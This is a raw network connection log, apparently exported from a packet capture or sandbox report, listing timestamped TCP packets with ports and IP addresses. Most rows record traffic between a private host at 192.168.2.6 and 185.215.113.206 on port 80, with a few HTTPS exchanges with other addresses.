Nov 28, 2024 00:19:48.517277956 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.517718077 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.517740011 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.605568886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.605686903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.605735064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.605854988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.605896950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.605920076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.606184006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.606754065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.606848001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.606882095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.606947899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.607542992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.607611895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.607639074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.607745886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.608386993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.608481884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.608539104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.609230995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.609349012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.609376907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.609458923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.610081911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.610311031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.610456944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.610852003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.610966921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.611258984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.611748934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.611809969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.611855984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.612489939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.612593889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.612600088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.612692118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.613348007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.613480091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.613782883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.614154100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.614237070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.614264965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.614387989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.615009069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.615096092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.615123987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.615173101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.615803957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.615895033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.616007090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.616619110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.616703033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.616705894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.616905928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.617495060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.617542028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.617582083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.617647886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.618299961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.618449926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.618475914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.619095087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.619147062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.619170904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.619252920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.619961977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.620049953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.620080948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.620745897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.620867014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.620887041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.621284962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.621583939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.621726036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.621748924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.621860027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.622406960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.622499943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.622522116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.622668028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.623265028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.623519897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.623615980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.623722076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.624047995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.624159098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.624182940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.624200106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.624480009 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.624907017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.625078917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.625092030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.625231981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.625483990 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.625505924 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.625760078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.625863075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.625886917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.625910044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.626000881 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.626012087 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.626558065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.626660109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.626749039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.682430983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.682475090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.682502031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.682697058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.682770014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.682868004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.682888031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.683032990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.683604956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.683743954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.683769941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.683835030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.684427023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.684546947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.684560061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.684756994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.685265064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.685334921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.685347080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.685422897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.686105013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.686161995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.686188936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.686536074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.686908007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.687072992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.687100887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.687216043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.687747955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.687839985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.687849998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.688004971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.688543081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.688651085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.688678026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.689383030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.689498901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.689579010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.689810991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.690241098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.690296888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.690330029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.690421104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.691039085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.691158056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.691262960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.691899061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.691979885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.692076921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.692697048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.692883968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.692953110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.693525076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.693622112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.693648100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.694174051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.694351912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.694456100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.694480896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.695156097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.695282936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.695332050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.695765972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.696012974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.696096897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.696129084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.696250916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.696814060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.696865082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.696923018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.697654009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.697762966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.697793007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.697881937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.698447943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.698560953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.698863029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.699336052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.699395895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.699419022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.699619055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.700119019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.700222969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.700248003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.700313091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.700944901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.700992107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.701019049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.701777935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.701823950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.701848030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.701910019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.702601910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.702665091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.702688932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.703093052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.703438044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.703510046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.703522921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.703819990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.772310019 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.796861887 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.796911955 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.796930075 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.796958923 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.796968937 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.796998024 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.797029018 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.797137022 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.797327995 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.797903061 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.797919989 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.817688942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.817704916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.817756891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.817802906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.818173885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.818186045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.818316936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.819035053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.819046974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.819434881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.819806099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.819818974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.819864988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.820621014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.820736885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.820801973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.820998907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.821054935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821065903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821166992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.821196079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821208000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821218967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821263075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.821263075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.821316004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.821435928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.822042942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.822110891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.822174072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.822876930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.822952032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.822978973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.823090076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.823709011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.823800087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.823932886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.824630022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.824697971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.824965000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.825376987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.825453043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.825515985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.826198101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.826260090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.826286077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.826354980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.827024937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.827076912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.827187061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.827838898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.827950001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.828258991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.828689098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.828747034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.828775883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.829483986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.829591990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.829610109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.829704046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.830313921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.830442905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.830559015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.831140041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.831233025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.831320047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.831995010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.832125902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.832397938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.832808018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.832918882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.832957983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.833036900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.833647966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.833736897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.833750010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.833820105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.834454060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.834538937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.834582090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.834641933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.835268021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.835378885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.835381031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.835520029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.836088896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.836204052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.836230993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.836936951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.836994886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.837024927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.837384939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.866591930 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.867583036 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.867605925 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.868788004 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.868793964 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.887434006 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.887506008 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.887588978 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.887820959 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.887835979 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.887859106 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.887864113 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.893338919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.893601894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.893662930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.893676996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.893692970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.893722057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.893722057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.893783092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.894144058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.894287109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.894431114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.895092010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.895406008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.895526886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.896173000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.896193027 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.896219015 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.896244049 CET	49794	80	192.168.2.6	185.215.113.206
